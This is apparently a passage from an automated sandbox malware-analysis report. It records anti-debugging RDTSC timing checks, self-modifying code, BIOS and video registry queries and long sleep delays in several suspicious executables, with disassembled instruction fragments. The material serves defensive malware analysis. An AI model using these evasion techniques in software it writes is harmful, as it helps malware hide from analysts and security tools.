Source: C:\Users\user\AppData\RoamingBKEHDGDGHC.exe	RDTSC instruction interceptor: First address: 1074666 second address: 107466C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingBKEHDGDGHC.exe	RDTSC instruction interceptor: First address: 103F66F second address: 103F675 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingBKEHDGDGHC.exe	RDTSC instruction interceptor: First address: 103F675 second address: 103F683 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\AppData\RoamingBKEHDGDGHC.exe	RDTSC instruction interceptor: First address: 103F683 second address: 103F687 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingBKEHDGDGHC.exe	RDTSC instruction interceptor: First address: 103F73D second address: 103F741 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingBKEHDGDGHC.exe	RDTSC instruction interceptor: First address: 103F741 second address: 103F7F2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov dword ptr [esp], ebx 0x0000000a pushad 0x0000000b jmp 00007F1C24FCCA98h 0x00000010 xor dword ptr [ebp+13712FB2h], ebx 0x00000016 popad 0x00000017 push dword ptr fs:[00000000h] 0x0000001e and edi, dword ptr [ebp+13712951h] 0x00000024 mov dword ptr fs:[00000000h], esp 0x0000002b and edi, dword ptr [ebp+13712BC5h] 0x00000031 mov dword ptr [ebp+138C4489h], esp 0x00000037 pushad 0x00000038 jmp 00007F1C24FCCA94h 0x0000003d mov ax, dx 0x00000040 popad 0x00000041 cmp dword ptr [ebp+13712999h], 00000000h 0x00000048 jne 00007F1C24FCCB5Eh 0x0000004e push 00000000h 0x00000050 push eax 0x00000051 call 00007F1C24FCCA88h 0x00000056 pop eax 0x00000057 mov dword ptr [esp+04h], eax 0x0000005b add dword ptr [esp+04h], 0000001Ch 0x00000063 inc eax 0x00000064 push eax 0x00000065 ret 0x00000066 pop eax 0x00000067 ret 0x00000068 mov byte ptr [ebp+1371395Eh], 00000047h 0x0000006f mov dword ptr [ebp+13895913h], edx 0x00000075 mov eax, D49AA7D2h 0x0000007a sub di, B732h 0x0000007f push eax 0x00000080 push ecx 0x00000081 push eax 0x00000082 push edx 0x00000083 push eax 0x00000084 push edx 0x00000085 rdtsc
Source: C:\Users\user\AppData\RoamingBKEHDGDGHC.exe	RDTSC instruction interceptor: First address: 103F7F2 second address: 103F7F6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingBKEHDGDGHC.exe	RDTSC instruction interceptor: First address: 103FF1B second address: 103FF1F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingBKEHDGDGHC.exe	RDTSC instruction interceptor: First address: 103FF1F second address: 103FF6B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 jmp 00007F1C24BF8402h 0x0000000e pop eax 0x0000000f mov eax, dword ptr [esp+04h] 0x00000013 jmp 00007F1C24BF8404h 0x00000018 mov eax, dword ptr [eax] 0x0000001a jo 00007F1C24BF840Ch 0x00000020 push eax 0x00000021 push edx 0x00000022 jmp 00007F1C24BF83FEh 0x00000027 rdtsc
Source: C:\Users\user\AppData\RoamingBKEHDGDGHC.exe	RDTSC instruction interceptor: First address: 10475AB second address: 10475C6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1C24FCCA97h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\AppData\RoamingBKEHDGDGHC.exe	RDTSC instruction interceptor: First address: 10475C6 second address: 10475D0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jns 00007F1C24BF83F6h 0x0000000a rdtsc
Source: C:\Users\user\AppData\RoamingBKEHDGDGHC.exe	RDTSC instruction interceptor: First address: 1048B0B second address: 1048B0F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingBKEHDGDGHC.exe	RDTSC instruction interceptor: First address: 104ABD0 second address: 104ABD9 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\AppData\RoamingBKEHDGDGHC.exe	RDTSC instruction interceptor: First address: 104ABD9 second address: 104AC00 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 popad 0x00000008 push eax 0x00000009 pushad 0x0000000a jmp 00007F1C24FCCA99h 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\AppData\RoamingBKEHDGDGHC.exe	RDTSC instruction interceptor: First address: 1050165 second address: 105016B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingBKEHDGDGHC.exe	RDTSC instruction interceptor: First address: 1051087 second address: 105108B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingBKEHDGDGHC.exe	RDTSC instruction interceptor: First address: 105108B second address: 10510A8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1C24BF8405h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\AppData\RoamingBKEHDGDGHC.exe	RDTSC instruction interceptor: First address: 10401D9 second address: 10401E7 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push edx 0x00000004 pop edx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\AppData\RoamingBKEHDGDGHC.exe	RDTSC instruction interceptor: First address: 10401E7 second address: 1040204 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1C24BF8401h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b js 00007F1C24BF83F6h 0x00000011 rdtsc
Source: C:\Users\user\AppData\RoamingBKEHDGDGHC.exe	RDTSC instruction interceptor: First address: 1040204 second address: 1040238 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 nop 0x00000008 je 00007F1C24FCCA8Bh 0x0000000e mov edi, 3D8F4938h 0x00000013 push 00000004h 0x00000015 mov edi, dword ptr [ebp+13712B95h] 0x0000001b push eax 0x0000001c push eax 0x0000001d push edx 0x0000001e jmp 00007F1C24FCCA96h 0x00000023 rdtsc
Source: C:\Users\user\AppData\RoamingBKEHDGDGHC.exe	RDTSC instruction interceptor: First address: 1053FEE second address: 1053FF4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingBKEHDGDGHC.exe	RDTSC instruction interceptor: First address: 1056F9B second address: 1056F9F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingBKEHDGDGHC.exe	RDTSC instruction interceptor: First address: 1056F9F second address: 1057044 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1C24BF8404h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ecx 0x0000000a mov dword ptr [esp], eax 0x0000000d push dword ptr fs:[00000000h] 0x00000014 push 00000000h 0x00000016 push edx 0x00000017 call 00007F1C24BF83F8h 0x0000001c pop edx 0x0000001d mov dword ptr [esp+04h], edx 0x00000021 add dword ptr [esp+04h], 0000001Bh 0x00000029 inc edx 0x0000002a push edx 0x0000002b ret 0x0000002c pop edx 0x0000002d ret 0x0000002e pushad 0x0000002f sub edi, 431B6990h 0x00000035 popad 0x00000036 and bx, 70F8h 0x0000003b mov dword ptr fs:[00000000h], esp 0x00000042 pushad 0x00000043 mov si, di 0x00000046 pushad 0x00000047 mov ebx, dword ptr [ebp+13712CE4h] 0x0000004d xor di, 2941h 0x00000052 popad 0x00000053 popad 0x00000054 mov edi, dword ptr [ebp+13712C35h] 0x0000005a mov eax, dword ptr [ebp+1371081Dh] 0x00000060 cld 0x00000061 push FFFFFFFFh 0x00000063 nop 0x00000064 jne 00007F1C24BF8400h 0x0000006a push eax 0x0000006b push eax 0x0000006c push edx 0x0000006d jmp 00007F1C24BF8406h 0x00000072 rdtsc
Source: C:\Users\user\AppData\RoamingBKEHDGDGHC.exe	RDTSC instruction interceptor: First address: 10580A1 second address: 10580A6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\RoamingBKEHDGDGHC.exe	RDTSC instruction interceptor: First address: 105908B second address: 1059091 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingBKEHDGDGHC.exe	RDTSC instruction interceptor: First address: 105A090 second address: 105A094 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingBKEHDGDGHC.exe	RDTSC instruction interceptor: First address: 105E1D3 second address: 105E1D7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingBKEHDGDGHC.exe	RDTSC instruction interceptor: First address: 1058136 second address: 1058141 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jnl 00007F1C24FCCA86h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\AppData\RoamingBKEHDGDGHC.exe	RDTSC instruction interceptor: First address: 105E1D7 second address: 105E1DD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingBKEHDGDGHC.exe	RDTSC instruction interceptor: First address: 105915E second address: 1059168 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F1C24FCCA86h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\AppData\RoamingBKEHDGDGHC.exe	RDTSC instruction interceptor: First address: 105A145 second address: 105A149 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingBKEHDGDGHC.exe	RDTSC instruction interceptor: First address: 105E1DD second address: 105E1E4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\AppData\RoamingBKEHDGDGHC.exe	RDTSC instruction interceptor: First address: 1059168 second address: 105916D instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\RoamingBKEHDGDGHC.exe	RDTSC instruction interceptor: First address: 1040A26 second address: 1040A30 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F1C24FCCA86h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\AppData\RoamingBKEHDGDGHC.exe	RDTSC instruction interceptor: First address: 1040A30 second address: 1040A3A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jns 00007F1C24BF83F6h 0x0000000a rdtsc
Source: C:\Users\user\AppData\RoamingBKEHDGDGHC.exe	RDTSC instruction interceptor: First address: 1040A3A second address: 1040A3E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingBKEHDGDGHC.exe	RDTSC instruction interceptor: First address: 1040A3E second address: 1040A4F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c push eax 0x0000000d pop eax 0x0000000e pushad 0x0000000f popad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\AppData\RoamingBKEHDGDGHC.exe	RDTSC instruction interceptor: First address: 1040A4F second address: 1040A68 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1C24FCCA8Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [esp+04h] 0x0000000d push edi 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\AppData\RoamingBKEHDGDGHC.exe	RDTSC instruction interceptor: First address: 1040A68 second address: 1040A6C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingBKEHDGDGHC.exe	RDTSC instruction interceptor: First address: 1025074 second address: 102507A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingBKEHDGDGHC.exe	RDTSC instruction interceptor: First address: 102507A second address: 1025083 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\AppData\RoamingBKEHDGDGHC.exe	RDTSC instruction interceptor: First address: 1074922 second address: 1074928 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\userBGCAFHCAKF.exe	RDTSC instruction interceptor: First address: F323B6 second address: F323CF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007F1C24BF83F6h 0x0000000a pop eax 0x0000000b pop eax 0x0000000c push esi 0x0000000d push ecx 0x0000000e pushad 0x0000000f popad 0x00000010 pop ecx 0x00000011 ja 00007F1C24BF83FEh 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\userBGCAFHCAKF.exe	RDTSC instruction interceptor: First address: F32E34 second address: F32E58 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pop ebx 0x00000008 push eax 0x00000009 push edx 0x0000000a push ecx 0x0000000b jng 00007F1C24FCCA86h 0x00000011 jo 00007F1C24FCCA86h 0x00000017 pop ecx 0x00000018 pushad 0x00000019 pushad 0x0000001a popad 0x0000001b jno 00007F1C24FCCA86h 0x00000021 pushad 0x00000022 popad 0x00000023 popad 0x00000024 rdtsc
Source: C:\Users\userBGCAFHCAKF.exe	RDTSC instruction interceptor: First address: F32E58 second address: F32E5E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\userBGCAFHCAKF.exe	RDTSC instruction interceptor: First address: F32E5E second address: F32E68 instructions: 0x00000000 rdtsc 0x00000002 je 00007F1C24FCCA86h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\userBGCAFHCAKF.exe	RDTSC instruction interceptor: First address: F35D80 second address: F35D88 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\userBGCAFHCAKF.exe	RDTSC instruction interceptor: First address: F35D88 second address: F35D8D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\userBGCAFHCAKF.exe	RDTSC instruction interceptor: First address: F35ADC second address: F35AE0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\userBGCAFHCAKF.exe	RDTSC instruction interceptor: First address: F35AE0 second address: F35AF0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jns 00007F1C24FCCA86h 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\userBGCAFHCAKF.exe	RDTSC instruction interceptor: First address: F519EA second address: F519F2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\userBGCAFHCAKF.exe	RDTSC instruction interceptor: First address: F54284 second address: F54288 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\userBGCAFHCAKF.exe	RDTSC instruction interceptor: First address: F54288 second address: F542A0 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a jmp 00007F1C24BF83FEh 0x0000000f rdtsc
Source: C:\Users\userBGCAFHCAKF.exe	RDTSC instruction interceptor: First address: F6BBA9 second address: F6BBBD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jne 00007F1C24FCCA8Eh 0x0000000c rdtsc
Source: C:\Users\userBGCAFHCAKF.exe	RDTSC instruction interceptor: First address: F6BBBD second address: F6BBC2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\userBGCAFHCAKF.exe	RDTSC instruction interceptor: First address: F6BBC2 second address: F6BBC8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\userBGCAFHCAKF.exe	RDTSC instruction interceptor: First address: F6C3F8 second address: F6C401 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\userBGCAFHCAKF.exe	RDTSC instruction interceptor: First address: F6E1C6 second address: F6E1CA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\userBGCAFHCAKF.exe	RDTSC instruction interceptor: First address: F72555 second address: F725D0 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F1C24BF83FCh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b jmp 00007F1C24BF8408h 0x00000010 nop 0x00000011 push edx 0x00000012 push edx 0x00000013 mov dl, 95h 0x00000015 pop edx 0x00000016 pop edx 0x00000017 push dword ptr [ebp+122D1AE9h] 0x0000001d push 00000000h 0x0000001f push edi 0x00000020 call 00007F1C24BF83F8h 0x00000025 pop edi 0x00000026 mov dword ptr [esp+04h], edi 0x0000002a add dword ptr [esp+04h], 00000016h 0x00000032 inc edi 0x00000033 push edi 0x00000034 ret 0x00000035 pop edi 0x00000036 ret 0x00000037 mov dword ptr [ebp+122D241Dh], esi 0x0000003d push 30BAA69Ch 0x00000042 push eax 0x00000043 push edx 0x00000044 push eax 0x00000045 push edx 0x00000046 jmp 00007F1C24BF8408h 0x0000004b rdtsc
Source: C:\Users\userBGCAFHCAKF.exe	RDTSC instruction interceptor: First address: F725D0 second address: F725D6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\userBGCAFHCAKF.exe	RDTSC instruction interceptor: First address: F7559C second address: F755C0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1C24BF83FFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F1C24BF83FBh 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\userBGCAFHCAKF.exe	RDTSC instruction interceptor: First address: F755C0 second address: F755DA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F1C24FCCA95h 0x00000009 pop edx 0x0000000a rdtsc
Source: C:\Users\userBGCAFHCAKF.exe	RDTSC instruction interceptor: First address: 5620DEA second address: 5620E0C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov esi, ebx 0x00000005 mov cx, dx 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F1C24BF8404h 0x00000013 rdtsc
Source: C:\Users\userBGCAFHCAKF.exe	RDTSC instruction interceptor: First address: 5610C5D second address: 5610C63 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\userBGCAFHCAKF.exe	RDTSC instruction interceptor: First address: 5610C63 second address: 5610C67 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\userBGCAFHCAKF.exe	RDTSC instruction interceptor: First address: 566011A second address: 566017B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F1C24FCCA8Fh 0x00000009 sbb ecx, 3CB7186Eh 0x0000000f jmp 00007F1C24FCCA99h 0x00000014 popfd 0x00000015 call 00007F1C24FCCA90h 0x0000001a pop esi 0x0000001b popad 0x0000001c pop edx 0x0000001d pop eax 0x0000001e push eax 0x0000001f push eax 0x00000020 push edx 0x00000021 jmp 00007F1C24FCCA97h 0x00000026 rdtsc
Source: C:\Users\userBGCAFHCAKF.exe	RDTSC instruction interceptor: First address: 566017B second address: 5660181 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\userBGCAFHCAKF.exe	RDTSC instruction interceptor: First address: 5660181 second address: 5660185 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\userBGCAFHCAKF.exe	RDTSC instruction interceptor: First address: 5660185 second address: 56601B3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1C24BF83FBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c jmp 00007F1C24BF8406h 0x00000011 mov ebp, esp 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\userBGCAFHCAKF.exe	RDTSC instruction interceptor: First address: 55F0242 second address: 55F0252 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F1C24FCCA8Ch 0x00000009 rdtsc
Source: C:\Users\userBGCAFHCAKF.exe	RDTSC instruction interceptor: First address: 561097F second address: 5610997 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F1C24BF8404h 0x00000009 rdtsc
Source: C:\Users\userBGCAFHCAKF.exe	RDTSC instruction interceptor: First address: 5610997 second address: 56109C4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push esi 0x00000009 jmp 00007F1C24FCCA8Ch 0x0000000e mov dword ptr [esp], ebp 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 call 00007F1C24FCCA8Dh 0x00000019 pop ecx 0x0000001a movsx edi, cx 0x0000001d popad 0x0000001e rdtsc
Source: C:\Users\userBGCAFHCAKF.exe	RDTSC instruction interceptor: First address: 56109C4 second address: 56109CA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\userBGCAFHCAKF.exe	RDTSC instruction interceptor: First address: 56109CA second address: 56109CE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\userBGCAFHCAKF.exe	RDTSC instruction interceptor: First address: 5610427 second address: 561042C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\userBGCAFHCAKF.exe	RDTSC instruction interceptor: First address: 561042C second address: 5610492 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1C24FCCA95h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a pushad 0x0000000b mov dx, cx 0x0000000e mov edi, esi 0x00000010 popad 0x00000011 push eax 0x00000012 pushad 0x00000013 call 00007F1C24FCCA8Bh 0x00000018 mov ebx, ecx 0x0000001a pop esi 0x0000001b jmp 00007F1C24FCCA95h 0x00000020 popad 0x00000021 xchg eax, ebp 0x00000022 jmp 00007F1C24FCCA8Eh 0x00000027 mov ebp, esp 0x00000029 push eax 0x0000002a push edx 0x0000002b push eax 0x0000002c push edx 0x0000002d jmp 00007F1C24FCCA8Ah 0x00000032 rdtsc
Source: C:\Users\userBGCAFHCAKF.exe	RDTSC instruction interceptor: First address: 5610492 second address: 56104A1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1C24BF83FBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\userBGCAFHCAKF.exe	Special instruction interceptor: First address: CDEAB3 instructions caused by: Self-modifying code
Source: C:\Users\userBGCAFHCAKF.exe	Special instruction interceptor: First address: E84D09 instructions caused by: Self-modifying code
Source: C:\Users\userBGCAFHCAKF.exe	Special instruction interceptor: First address: E83B93 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\RoamingBKEHDGDGHC.exe	Special instruction interceptor: First address: E8EA41 instructions caused by: Self-modifying code
Source: C:\Users\userBGCAFHCAKF.exe	Special instruction interceptor: First address: F07778 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\RoamingBKEHDGDGHC.exe	Special instruction interceptor: First address: 1062C80 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\RoamingBKEHDGDGHC.exe	Special instruction interceptor: First address: 103F78B instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Special instruction interceptor: First address: ABEA41 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Special instruction interceptor: First address: 67EAB3 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Special instruction interceptor: First address: 824D09 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Special instruction interceptor: First address: 823B93 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Special instruction interceptor: First address: C92C80 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Special instruction interceptor: First address: C6F78B instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Special instruction interceptor: First address: 8A7778 instructions caused by: Self-modifying code

Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion

Source: C:\Users\userBGCAFHCAKF.exe

Code function: 3_2_05670C61 rdtsc

3_2_05670C61

Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Thread delayed: delay time: 180000
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Thread delayed: delay time: 180000

Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

